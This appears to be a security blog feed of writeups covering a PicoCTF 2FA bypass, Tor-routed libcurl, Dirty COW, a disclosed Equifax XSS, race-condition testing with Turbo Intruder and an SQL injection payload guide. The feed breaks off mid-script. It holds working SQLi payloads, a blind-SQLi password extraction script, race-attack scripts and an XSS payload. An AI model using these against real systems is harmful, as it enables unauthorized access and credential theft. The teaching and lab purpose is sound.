Forem: Advik Kant

No FA - PicoCTF Writeup: 2FA Bypass via Request Manipulation

Advik Kant — Thu, 26 Mar 2026 17:28:07 +0000

Walkthrough

The name of the challenge is No Fa, here’s the link: https://play.picoctf.org/practice/challenge/765?category=1&difficulty=2&page=1

Lets see the live instance

So we need some sort of login credentials to access the website

Lets see what we get in the linked files

here we have a sqlite users.db database dump containing USERNAME, USER EMAIL ID and HASHED PASSWORDS (these passwords seem to be unsalted meaning they can be easily cracked)

First I extracted all the usernames and hashed passwords cleanly

Some of these hashed passwords can be easily cracked via crackstation because they use commonly used passwords and are unsalted as I previously said. Let's pick one cred at random and test them in crackstation.

Bingo so we got the username and the password login creds
admin : apple@123
Now lets login with these creds, we are redirected to OTP verification

if we see the code properly given in the app.py file we will see that

the secret OTP is stored inside the session cookie and no server side validation is being done, so if we intercept the OTP request via burp and somehow manage to decode the session cookie we would be able to get the OTP and get access. Lets see how we do that

Since the application uses flask to create session cookies, we can use a tool like Flask unsign to decode the session cookie and get the OTP ( https://github.com/Paradoxis/Flask-Unsign)

flask-unsign --decode -c "YOUR_SESSION_COOKIE" {'logged': 'false', 'otp_secret': '8369', 'otp_timestamp': 1774541649.0009327, 'username': 'admin'}

Now we have got the OTP as 8369 we will enter this OTP and get access to the page

and voila we have access to the page and there's our beautiful flag.

Conclusion

There were two core security vulnerabilities that were implemented in this flask application

User passwords were stored as weak, unsalted hashes, making them trivially crackable via rainbow tables on sites like CrackStation
The 2FA mechanism had no server-side validation. The OTP field was enforced only on the client side, meaning the server never actually verified whether a valid OTP was submitted

Building a safer cURL using TOR

Advik Kant — Mon, 03 Nov 2025 17:46:03 +0000

Have you ever noticed that the running one simple cURL command can turn a private click into a series of public breadcrumbs like being visible to ISPs, DNS resolvers and anyone snooping the network. One way of making cURL command secure is by using TOR network.

Before we improve the cURL command, lets see a basic cURL command and see how it works.

Working of cURL

curl https://example.com

The above curl command is a simple GET request to the URL example.com. The command then retrieves HTML information about the page. Lets deep dive into this whole process, we will keep it simple and straight to the point.

1) cURL parses your commands and flags and determines which protocol to use based on it like HTTPS,FTP,HTTP etc.

2) The system resolver then looks up the hostname in your local DNS server to get the IP address. This is the part where DNS leakage can take place as the ISP can easily observe your DNS queries.

3) cURL then opens a TCP socket on the target IP address and does the usual TCP 3 way handshake(SYN,SYN-ACK,ACK).

4) If the URL uses HTTPS, a TLS handshake follows. The client and server negotiate ciphers, validate the server certificate (SNI may be sent in plaintext), and derive encryption keys. If certificate validation fails, curl reports an error.

5) cURL then constructs the actual HTTP request, add headers like User-Agent, Host etc. and sends it over the TCP/TLS channel.

6) Server then responds to the request and adds its own headers with its own status code.

So that was a quick rundown of how cURL works, however there are quite a few problems that can happen when the above process takes place like
1) DNS Leaking
2) Snooping of information by the ISP
3) Man in the middle (MITM) attacks
4) Unencrypted traffic exposure when using HTTP instead of using HTTPS

Lets see how we can improve and mitigate these problems while using TOR network, we will go over the whole implementation of TOR network over the curl command in C.

TOR implementation of cURL in C aka TorConnect

So in order implement a simple cURL command in C, we need to use libcurl. It's a simple client side library that basically powers the main component of the cURL command. libcurl and its documentation (https://curl.se/libcurl/) will basically help us to set up the whole TOR network.

for the next step we will set up a local TOR proxy using SOCKS5 instead of using DNS in the normal version of cURL. We will set up this local TOR proxy at our localhost (127.0.0.1:9050). This basically prevents DNS leaks and avoids MITM attacks. In order to set this up we will use the following commands.

curl_easy_setopt(curl,CURLOPT_PROXY,"127.0.0.1:9050"); // sets up local TOR proxy       

curl_easy_setopt(curl,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5_HOSTNAME); // prevents DNS leaking

Make sure that you have TOR installed in your system.

sudo apt update
sudo apt install tor

Now that we have TOR network set up we can just use this command to send request to the webpage, this request will travel securely through the TOR network tunnel.

curl_easy_setopt(curl,CURLOPT_URL,"https://example.com");

Security note: Tor anonymizes routing but does not provide end-to-end encryption outside the Tor network. So we should always use HTTPS and keep TLS verification enabled (CURLOPT_SSL_VERIFYPEER / CURLOPT_SSL_VERIFYHOST) to prevent MITM at the exit node.

Those are the main steps involved in anonymizing your cURL. If you’re interested in viewing the complete source code, check out my GitHub repository: TorConnect

Conclusion

TorConnect is a small step toward making network requests safer and more private by routing traffic through the Tor network, preventing DNS leaks, and hiding your real IP. Of course, it’s not perfect. Using Tor can slow down your connection, and some websites may block Tor exit nodes altogether. Still, TorConnect shows that privacy and usability can coexist if built carefully. It’s a reminder that staying anonymous online isn’t just about using the right tools, but also about using them wisely.

Dirty COW exploit that broke linux in 2016

Advik Kant — Wed, 29 Oct 2025 18:16:28 +0000

Introduction-

You may have heard of dirty COW (CVE-2016-5195) exploit if you are a seasoned veteran in the red teaming space. So what’s the big deal with it. Well back in 2016, this 150 lines of C code exploit would allow any attacker to gain root access to your Linux system with just exploiting a simple race condition.

Lets see what this vulnerability is all about

What is COW (Copy on Write)-

In Linux processes which share the same memory are treated as read-only mode as long as they point to the same page. When one of them wants to write to these only then the Linux kernel makes private copy of the file for that particular process. This is referred to as COW (Copy-on-Write).

Dirty COW vulnerability-

Now imagine if we want to write to /etc/passwd file on a Linux which stores user account information but we only have read permission and not any write permission how do we exploit this COW property.

Exploitation Overview-

Well here is how some attackers thought about exploiting it.

Map the target file like (/etc/passwd) into memory so that we can exploit the COW property.
Spawn two racing threads.

i) Thread A- tries to write into that memory but obviously kernel recognizes this and tries to get it the private copy.

ii) Thread B- Use madvise() function, this function basically tells the kernel to invalidate or remove the same memory page.

void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
        c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}

This creates a race condition for the kernel as one thread is requesting a COW for the page and the other thread is trying to invalidate it.
In the midst of this confusion, the kernel instead of handing the private copy of the page to the user, grants the write operations on the file.
This way we can get a write operation on the /etc/passwd file and create a new root user and get full access to the Linux system. Here's the full exploit code https://www.exploit-db.com/exploits/40839.

Fix and Patches-

So in order to fix this mess they-

tightened COW logic-

this basically ensured that the kernel would always create the private copy of memory page first no concurrent function like madvise() could interrupt it.

Follow up architecture patches-

Some CPU architectures had some race conditions which were fixed.

Reflected XSS in Equifax Search Endpoint

Advik Kant — Tue, 19 Aug 2025 13:15:13 +0000

In December 2022, a security researcher reported a reflected cross-site scripting (XSS) vulnerability affecting the search functionality on the Equifax website. The issue was submitted through the company’s vulnerability disclosure program on HackerOne.

Vulnerability Description

The vulnerable endpoint was:

https://www.equifax.com/personal/help/search?search=<input>

When a user entered a search term, the application reflected that value directly into a JavaScript function on the returned page. For example, the word broook appeared in the following script block:

<script type="text/javascript">
  window.onload = function(e){
    Analytics.trackEvent('emptySearch',{internalSearchTerm: "broook" , numOfSearchResultsReturned: 0});
  }
</script>

Because the search parameter was not properly sanitized, an attacker could inject arbitrary JavaScript code.

Proof of Concept

The researcher supplied a payload that modified the parameters of the Analytics.trackEvent function:

%22%20%2C%20internalSearchTerm%3A%20%5B7%5D.map%28alert%29%20%2C%20numOfSearchResultsReturned%3A%20%22b

When decoded, this payload injected an array mapping function that executed alert(7). The final vulnerable script looked like this:

<script type="text/javascript">
  window.onload = function(e){
    Analytics.trackEvent('SEARCHRETURNED',{internalSearchTerm: "" , internalSearchTerm: [7].map(alert) , numOfSearchResultsReturned: "b" , numOfSearchResultsReturned: 167});
  }
</script>

This confirmed that the input was being executed as JavaScript in the browser.

Impact

A successful exploit would allow an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This could lead to theft of cookies, session hijacking, or other malicious actions depending on the attacker’s goals.

Conclusion

This case highlights the risks of directly embedding user-controlled input into JavaScript code without proper sanitization or encoding. Reflected XSS vulnerabilities are still common and can have serious consequences when exploited on high-profile sites. Proper input handling and output encoding remain essential defenses.

One Bug, Many Faces: Understanding Every Type of Race Condition Vulnerability

Advik Kant — Sat, 02 Aug 2025 06:42:37 +0000

What is Race Condition

Imagine that you are planning to go to a movie at 5 pm. You inquire about the availability of the tickets at 4 pm. The representative says that they are available. You relax and reach the ticket window 30 minutes later, but then to your horror all the tickets get sold. The problem here was in the duration between the check and the action. You inquired at 4 and acted at 4:30. In the meantime, someone else grabbed the tickets. That's a race condition.

Technically speaking, Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are “racing” each other to access/change the data. This is a major security vulnerability where an attacker can extract sensitive information by exploiting the race window.

In this blog we will be talking about race condition vulnerabilities in various web scenarios. Lessgoo

Limit Overrun race conditions

its the most well known type of race condition which enable you to exceed any limit imposed by the business logic of the example. Lets take an example so that things can become more clear.

Consider an online store that lets you enter a promotional code during checkout to get a one-time discount on your order.

To apply this discount, the application may perform the following high-level steps:

Check that you haven't already used this code.
Apply the discount to the order total.
Update the record in the database to reflect the fact that you've now used this code.

If you later attempt to reuse this code, the initial checks performed at the start of the process should prevent you from doing this

Now consider what would happen if a user who has never applied this discount code before tried to apply it twice at almost exactly the same time:

As you can see, the application transitions through a temporary sub-state; that is, a state that it enters and then exits again before request processing is complete. In this case, the sub-state begins when the server starts processing the first request, and ends when it updates the database to indicate that you've already used this code. This introduces a small race window during which you can repeatedly claim the discount as many times as you like. So by sending two parallel request at the same time we can exploit the race window and apply the discount code twice. Now imagine sending more than 2 of these parallel requests. The discounted code will get added up and ultimately you can buy the product at a very cheap price.

The primary challenge is timing the requests so that at least two race windows line up, causing a collision. This window is often just milliseconds and can be even shorter.

Detecting and Exploiting Limit Overrun Race Conditions with Burp Suite

Race condition vulnerabilities, particularly those involving business logic bypasses like limit overruns, are notoriously difficult to exploit reliably. The primary challenge lies in the extremely narrow timing window, often just a few milliseconds, during which two or more concurrent requests must be executed in near-perfect synchronization. Traditionally, this has required either precise scripting or specialized tools with limited visibility and flexibility.

However, recent advancements in Burp Suite’s Repeater tool—particularly the updates introduced in version 2023.9—have significantly improved a pentester's ability to detect and exploit race conditions with high precision.

Introducing Parallel Request Support in Burp Repeater

Burp Repeater has historically been used for sending individual HTTP requests and analyzing responses. While invaluable for manual testing, it was previously limited in scenarios where concurrent request timing was critical.

With the 2023.9 update, Burp Repeater introduced parallel request execution, allowing testers to send multiple, carefully crafted requests simultaneously. This functionality dramatically enhances the ability to exploit vulnerabilities that depend on precise timing, such as race conditions.

Understanding the Role of Network Jitter

Network jitter refers to the variability in packet delay across a network. Even a high-speed connection can suffer from inconsistent delivery times, which significantly affects any exploit that depends on synchronized timing. In the context of race condition testing, jitter introduces unpredictability—causing well-timed requests to miss the race window entirely.

To address this, Burp Suite introduced two protocol-specific synchronization strategies aimed at minimizing the impact of jitter.

Exploiting Race Conditions over HTTP/1: The Last-Byte Synchronization Technique

When testing a target that communicates over the HTTP/1 protocol, Burp Repeater leverages a technique known as last-byte synchronization.

In this method:

Multiple requests are prepared and transmitted up to the final byte.
These partially sent requests are held in a queued state by the tool.
At the precise moment, the final byte of each request is released simultaneously.

This ensures that all requests hit the server at the same time, entering the same race window and maximizing the chance of triggering a vulnerability. The technique effectively removes jitter from the equation during the critical portion of the request transmission.

Exploiting Race Conditions over HTTP/2: The Single-Packet Attack

In environments where the target application supports HTTP/2, Burp Suite employs a more sophisticated approach known as the Single-Packet Attack, which was first introduced at Black Hat 2023 by PortSwigger researchers.

This technique involves:

Crafting multiple complete HTTP/2 requests.
Combining them into a single TCP packet.
Transmitting that single packet so that all embedded requests are processed by the server simultaneously.

The benefit of this method is that it eliminates the risk of jitter entirely, as the server receives and processes all requests within the same network operation. It is particularly effective against modern web applications with asynchronous or multi-threaded backend processing, where subtle timing mismatches can otherwise prevent successful exploitation.

Implications for Limit Overrun Exploits

When attempting to exploit limit overrun vulnerabilities, the ability to synchronize requests at a granular level is critical. Whether you're:

Applying the same discount code multiple times
Triggering concurrent withdrawals in a fintech application
Circumventing resource allocation limits

these new techniques in Burp Suite significantly improve the likelihood of a successful exploit.

By utilizing either last-byte synchronization (HTTP/1) or the single-packet attack (HTTP/2), penetration testers can reliably enter the temporary sub-states that make race condition exploits possible.

Why send so many requests?

You may think that race conditions can be easily exploited by 2 requests so why send 20-30 parallel requests at the same time. The reasons for this are-

It overcomes server-side delays (aka internal latency or server-side jitter)

It increases your chances of hitting the vulnerable timing

Great during the recon/discovery phase when you’re probing behavior and testing the race condition vulnerability

basically the more requests you send the more your chances increase of hitting the sweet spot

Let's take our previous example where we try to redeem coupons at the same time and and exploit the race condition

Normally, jitter might cause one request to arrive too early or too late

With Burp's new techniques, you can flood the server with 30 simultaneous coupon redeems

If the timing is right, the coupon might be used multiple times and then your vulnerability would be confirmed

Turbo Intruder – The Fast Lane for Race Condition Attacks

Turbo Intruder is a powerful Burp Suite extension designed for lightning-fast, customizable HTTP request attacks. Unlike the default Intruder tool, Turbo Intruder uses asynchronous I/O and optimized threading to send thousands of requests per second, making it ideal for testing race conditions, brute-force attacks, token fuzzing, and more.

Key Features:

Blazing Speed: Far faster than Burp’s built-in Intruder, even in the Community Edition.
Python Scripting: Full control over request generation and response handling using Jython.
Asynchronous Engine: Efficiently handles massive concurrent connections.
Versatile Use Cases: Race conditions, login brute-forcing, JWT tampering, SSRF detection, HTTP desync attacks, and more.

How to Use:

Install from Burp's BApp Store.
Right-click any request → Send to Turbo Intruder.
Customize the pre-built Python script to define payloads, logic, and filtering.

Example Use Case:

Detecting a race condition by sending 100 concurrent password reset requests in parallel.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=20,
                           requestsPerConnection=100,
                           pipeline=False)
    for i in range(100):
        engine.queue(target.req, gate='race')

def handleResponse(req, interesting):
    if 'Success' in req.response:
        print('Race condition triggered!')

Note:

Use responsibly — Turbo Intruder can overwhelm or crash servers if misused. Always test within a legal scope.

Using Turbo Intruder to Detect Race Condition Overruns

Detecting Race Conditions with Single-Packet Attacks

To detect overrun vulnerabilities caused by race conditions, Turbo Intruder supports a technique known as the single-packet attack. This method involves grouping requests and sending them simultaneously within a single TCP packet, assuming the server supports HTTP/2.

Setup Instructions

Ensure the target application supports HTTP/2, as the single-packet attack is not compatible with HTTP/1.
Configure the request engine to use the HTTP/2 backend with one concurrent connection:

   engine = RequestEngine(
       endpoint=target.endpoint,
       concurrentConnections=1,
       engine=Engine.BURP2
   )

Queue multiple requests using a gate label. For example, queue 20 requests under gate '1':

   for i in range(20):
       engine.queue(target.req, gate='1')

Once queued, release all requests in the gate at once:

   engine.openGate('1')

This structure ensures that all 20 requests are sent in parallel within the same TCP packet, increasing the likelihood of triggering a race condition if one exists.

Single endpoint race condition

Sending parallel requests to a single endpoint can be really important in some cases, for example consider a password reset mechanism that stores the user ID and reset token in the user's session.

In this scenario, sending two parallel password reset requests from the same session, but with two different usernames, could potentially cause the collision in password reset mechanism

Methodology to follow to exploit race conditions

1. Predict potential collisions

Testing every endpoint is impractical. After mapping out the target site as normal, you can reduce the number of endpoints that you need to test by asking yourself the following questions:

Is this endpoint security critical? Many endpoints don't touch critical functionality, so they're not worth testing.
Is there any collision potential? For a successful collision, you typically need two or more requests that trigger operations on the same record.

2. Probe for clues(Race condition testing)

First, understand how the endpoint behaves normally by sending a group of requests one after another in sequence using Burp Repeater. This gives you a baseline.

Next, send the same group of requests all at once (in parallel) to simulate a race condition. This reduces network delay and may trigger unexpected behavior. Use "Send group in parallel" in Burp Repeater or Turbo Intruder for faster, more aggressive testing.

Watch for any differences in responses or app behavior — even small changes like different emails or weird UI behavior. These deviations are clues that a race condition may exist.

3. Prove the concept

Try to understand what's happening, remove superfluous requests, and make sure you can still replicate the effects.

Advanced race conditions can cause unusual and unique primitives, so the path to maximum impact isn't always immediately obvious. It may help to think of each race condition as a structural weakness rather than an isolated vulnerability.

Multi endpoint race conditions

We can also send requests to multiple endpoints at the same time. think about the classic logic flaw in online stores where you add an item to your basket or cart, pay for it, then add more items to the cart before force-browsing to the order confirmation page.

Understanding Multi-Endpoint Race Conditions: Problems and Workarounds

When exploiting race conditions, attackers often target a single vulnerable endpoint. However, when a race condition spans multiple endpoints, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.

Why Multi-Endpoint Race Conditions Are Challenging

Network Delays

Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:

HTTP/1.1: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.
HTTP/2: Uses multiplexing over a single connection, reducing connection-related delays.

These delays usually affect all requests uniformly, so even if there’s a delay, the relative timing between requests may still remain intact.

If only the first request is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.

Endpoint-Specific Delays

Some endpoints take longer to process than others due to:

Complex business logic
Heavy database operations
Additional validation steps

These delays impact only the affected endpoints, disrupting synchronization across requests.

If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.

Workarounds for Synchronizing Requests

To deal with inconsistencies and improve synchronization, consider the following techniques:

1. Adjust Request Timing Manually

Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.

2. Use Connection Reuse or HTTP/2

Reducing connection overhead helps requests arrive more predictably:

Reuse TCP connections using the Keep-Alive header.
Prefer HTTP/2, which allows multiple requests to be sent simultaneously over a single connection.

3. Pad Faster Endpoints

If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:

Add delays (e.g., using sleep() functions, if supported)
Increase payload size to artificially extend processing time

4. Use Turbo Intruder for Fine-Grained Timing Control

Turbo Intruder is highly effective for controlling request timing at the byte level. You can:

Send warm-up requests to prepare the backend and eliminate one-time delays
Precisely schedule real attack requests to align with specific processing windows

This allows you to fine-tune request dispatch with minimal network interference.

Additional Tips

Run multiple iterations to measure and understand timing differences across endpoints.
Ensure all endpoints use the same session or authentication context, if required.
Test under consistent conditions to isolate variability in response timing.

Understanding Multi-Endpoint Race Conditions: Problems and Workarounds

Why Multi-Endpoint Race Conditions Are Challenging

Network Delays

Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:

HTTP/1.1: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.
HTTP/2: Uses multiplexing over a single connection, reducing connection-related delays.

These delays usually affect all requests uniformly, so even if there’s a delay, the relative timing between requests may still remain intact.

If only the first request is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.

Endpoint-Specific Delays

Some endpoints take longer to process than others due to:

Complex business logic
Heavy database operations
Additional validation steps

These delays impact only the affected endpoints, disrupting synchronization across requests.

If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.

Workarounds for Synchronizing Requests

To deal with inconsistencies and improve synchronization, consider the following techniques:

1. Adjust Request Timing Manually

Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.

2. Use Connection Reuse or HTTP/2

Reducing connection overhead helps requests arrive more predictably:

Reuse TCP connections using the Keep-Alive header.
Prefer HTTP/2, which allows multiple requests to be sent simultaneously over a single connection.

3. Pad Faster Endpoints

If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:

Add delays (e.g., using sleep() functions, if supported)
Increase payload size to artificially extend processing time

4. Use Turbo Intruder for Fine-Grained Timing Control

Turbo Intruder is highly effective for controlling request timing at the byte level. You can:

Send warm-up requests to prepare the backend and eliminate one-time delays
Precisely schedule real attack requests to align with specific processing windows

This allows you to fine-tune request dispatch with minimal network interference.

Abusing rate or resource limits for race conditions-

If connection warming doesn' t synchronize your race condition attack, try the following methods

Client-Side Delay (Turbo Intruder)

Turbo Intruder lets you add a short delay before sending each request.
Problem: This splits the request over multiple TCP packets, so you can't use single-packet attacks.
Not reliable on high-jitter targets (where network timing is unpredictable).

Triggering Server-Side Delay (Smart Bypass)

Abuse rate-limiting: Send many dummy requests quickly to the server.
This forces the server to slow down processing (common anti-abuse feature).
Now send your real attack request during that slowdown.
Helps make single-packet race condition attacks work even if delay is needed.

How to Prevent Race Condition Vulnerabilities

Race conditions occur when two or more operations execute simultaneously and cause unexpected or harmful behavior. Here are practical techniques to prevent them in your applications:

1. Avoid Mixing Different Data Sources

Don’t combine data from different sources (e.g., database and cache) when making critical decisions.
Always rely on a single, trusted source—typically your main database—for sensitive operations like authentication, payments, or order validation.

2. Make Critical Actions Atomic

Wrap multi-step processes inside a single transaction to prevent interference between steps.
For example, when placing an order:
- Validate the cart total
- Process the payment
- Save the order
- All of this should happen in one atomic transaction.

3. Use Built-in Database Protections

Enforce constraints to maintain data integrity:
- Unique constraints (e.g., on username or email)
- Foreign key constraints to prevent orphan records
These automatically prevent many race condition scenarios by rejecting invalid or duplicate data at the database level.

4. Don’t Rely on Sessions to Protect Database Logic

Sessions should be used for tracking user identity, not for controlling the number of allowed operations.
Use server-side protections instead:
- Database-level row limits
- Application-layer rate limiting
- Request locking or queuing where needed

5. Keep Session State Consistent

When modifying session-related data, update all changes in a single step.
Use transactions to prevent partially updated or corrupted session data.
Frameworks and ORMs like Django or Hibernate support transactional session handling—make use of them.

6. Carefully Consider Stateless Designs (JWT)

Moving state to the client using JSON Web Tokens (JWT) can reduce server-side race conditions.
But if you go stateless, ensure JWTs are:
- Securely signed
- Untampered (with signature verification on every request)
- Short-lived or revocable to prevent replay or misuse

Conclusion

Race condition vulnerabilities are subtle but powerful attack vectors that often slip past traditional security checks. When dealing with multi-endpoint workflows or high-concurrency systems, even minor timing flaws can lead to severe data inconsistencies, privilege escalations, or unauthorized actions.

By understanding how these vulnerabilities arise—and implementing preventative strategies like atomic transactions, database constraints, and proper session handling—you can significantly reduce the risk. Tools like Turbo Intruder can help uncover these flaws during testing, but real security comes from designing systems that are resilient by default.

Race conditions are not just bugs; they’re symptoms of deeper architectural oversights. Fix the timing, structure the logic, and secure the flow—because attackers will race you to production.

Thanks for reading my blog on race conditions, this blog was inspired by the portswigger labs on race condition which gave hands on practical demo in addition to the techniques. All of which I have tried to simplified and provided them in this blog

SQL Injection: All Concepts, All Payloads, All In One

Advik Kant — Sun, 15 Jun 2025 10:28:16 +0000

Mastering SQL Injection: A Deep Dive Guide for Beginners & Pros

Note: This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets.

1. What Is SQL Injection?

SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings containing SQL syntax attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server.

In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example:

SELECT * FROM products WHERE id = '" + userInput + "';

If userInput is 1 OR 1=1, the query becomes:

SELECT * FROM products WHERE id = '1' OR 1=1;

That second condition, 1=1, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments.

2. How to Detect SQL Injection Vulnerabilities

1. Error Observation:
Submit a single quote (') or double quote (") into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages.

2. Behavioral Differences:
Inject boolean conditions such as OR 1=1 versus OR 1=2. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability.

3. Timing Tests:
For blind environments, inject database-specific sleep functions (SLEEP(5) in MySQL, WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output.

4. Automated Scanning:
Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential.

3. Retrieving Hidden Data & Subverting Logic

3.1 Authentication Bypass (Tautology)

Situation: A login form builds a query like:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';

Injection: Supply username: ' OR '1'='1 and any password:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'foo';

This payload works by injecting an always true condition ('1'='1') that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access.

3.2 Conditional Login Test

Situation: A session tracking cookie, e.g., TrackingId, triggers a custom message “Welcome back!” when valid. Internally:

SELECT * FROM sessions WHERE id = 'TrackingId';

Injection: Toggle the condition to true/false:

Cookie: TrackingId=xyz' AND '1'='1
Cookie: TrackingId=xyz' AND '1'='2

These payloads work by appending additional Boolean expressions to the original query. Choosing 'AND '1'='1' ensures the condition remains valid, causing the application to confirm the session. Conversely, 'AND '1'='2' always fails, demonstrating how Boolean differences reveal injection points.

4. UNION-Based Injection

4.1 Determining Column Count

Applications often return multiple columns. Before using UNION, attackers must match the column count and data types.

Payloads:

?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
... 
?id=1' ORDER BY N--  # yields an error when N exceeds column count

Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge.

4.2 Finding Compatible Data Types

Next, verify which columns accept strings versus numbers:

' UNION SELECT NULL, NULL --  # if two columns
' UNION SELECT 'a', 1 --      # test string-integer mix

Using NULL bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures subsequent data retrieval queries won’t fail due to type mismatches.

4.3 Extracting Data

Once aligned, append your own SELECT:

?id=1' UNION SELECT id, username, password FROM users--

This payload works by merging legitimate query results with attacker-controlled data pulled from the users table. Choosing id, username, password aligns with common columns of interest for credential harvesting.

5. Examining the Database (Information Schema)

When table/column names are unknown, SQLi attackers leverage the metadata tables:

5.1 Enumerate Tables

?id=1' UNION SELECT NULL, table_name FROM information_schema.tables--

Retrieves a list of all tables. We choose information_schema.tables because it’s universally supported across SQL databases.

5.2 Enumerate Columns

?id=1' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users'--

Filters for columns within the users table. This targeted approach avoids overwhelming output and speeds enumeration.

5.3 Dump Specific Columns

?id=1' UNION SELECT NULL, CONCAT(username, ':', password) FROM users--

Concatenates username and password with a delimiter. We pick CONCAT and : for readability and easy parsing in results.

6. Error-Based SQL Injection

When applications display raw database errors, you can force errors to leak data directly by triggering different types of errors. Below are multiple payloads and their purposes:

6.1 Conversion Errors

?id=1' AND 1=CONVERT(int,(SELECT @@version))--

Triggers a type conversion error that includes the result of SELECT @@version in the error message. Useful to identify the database engine and version.

?id=1' AND 1=CAST((SELECT user()) AS INT)--

For systems supporting CAST, this forces a cast error revealing the current database user.

6.2 Arithmetic and Function Errors

?id=1' AND (SELECT TOP 1 name FROM sysobjects) LIKE '%user%' / 0--

Divides by zero when the first table name contains “user”, causing an error if true. This payload combines arithmetic with metadata queries.

?id=1' AND JSON_VALUE((SELECT CONCAT('{"u":"', user(), '"}')), '$.u') IS NULL--

On SQL Server 2016+, uses JSON_VALUE to produce an error if JSON is malformed, leaking user() value.

6.3 XML-Based Errors (MySQL)

?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user())), 1)--

The invalid updatexml call raises an XML parsing error containing the username. The hex 0x7e (~) prefixes the value for easy parsing.

?id=1' AND EXTRACTVALUE(1, CONCAT(0x3a, (SELECT database())))--

Similar to UPDATEXML, EXTRACTVALUE triggers an error embedding the current database name.

7. Blind SQL Injection

Blind SQLi relies on inference rather than direct output. Here are additional payloads for boolean and time-based variations:

7.1 Boolean-Based (Conditional Responses)

Extract data one bit at a time when no data or errors are returned. Below are multiple payloads and their explanations:

Payload Example 1:

Cookie: TrackingId=xyz' AND (SELECT COUNT(*) FROM users)--

If the count is nonzero, the condition is true and the application may reveal a valid session. Used to test aggregate queries.

Payload Example 2:

Cookie: TrackingId=xyz' AND EXISTS(SELECT 1 FROM users WHERE username='admin')--

Checks for existence of the ‘admin’ user. True if the user exists, false otherwise.

Payload Example 3 (Substring Test):

Cookie: TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), 2, 1) = 'b'--

Targets the second character of the password. By adjusting position and character, you reconstruct the full string.

7.1.1 Automating with Python

Click to expand script

import requests

tracking_id = input("enter tracking id: ")
session_id = input("enter session id: ")
url = input("enter url: ")

# 1) Find length
def get_length():
    for i in range(1, 50):
        payload = f"'+AND+(select+length(password)+from+users+where+username='administrator')={i}--"
        cookies = {"TrackingId": tracking_id + payload, "session": session_id}
        r = requests.get(url, cookies=cookies)
        if "Welcome back!" in r.text:
            return i

# 2) Extract characters
def get_password(l):
    charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    result = ""
    for pos in range(1, l+1):
        for ch in charset:
            payload = f"'+AND+(select+substring(password,{pos},1)+from+users+where+username='administrator')='{ch}'--"
            cookies = {"TrackingId": tracking_id + payload, "session": session_id}
            r = requests.get(url, cookies=cookies)
            if "Welcome back!" in r.text:
                result += ch
                break
    return result

length = get_length()
print("Password length:", length)
print("Password:", get_password(length))

This script calculates the password length then iteratively extracts each character using substring checks and boolean feedback.

7.2 Time-Based Blind Injection

When no response differences or errors are available, use time delays. Additional payload examples:

Payload Example 1 (MySQL SLEEP):

?id=1' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='administrator') > 109, SLEEP(5), 0)--

Checks if the ASCII value of the first character is greater than ‘m’ (109). Sleeps if true, enabling binary search on character values.

Payload Example 2 (MSSQL WAITFOR):

?id=1'; IF (SELECT LEN(password) FROM users WHERE username='administrator') = 10 WAITFOR DELAY '0:0:5'--

Infers password length by sleeping only when the length equals 10.

PostgreSQL Delay via Sleep

Click to expand script

import requests, time

session_id = input("enter session id: ")
url = input("enter url: ")
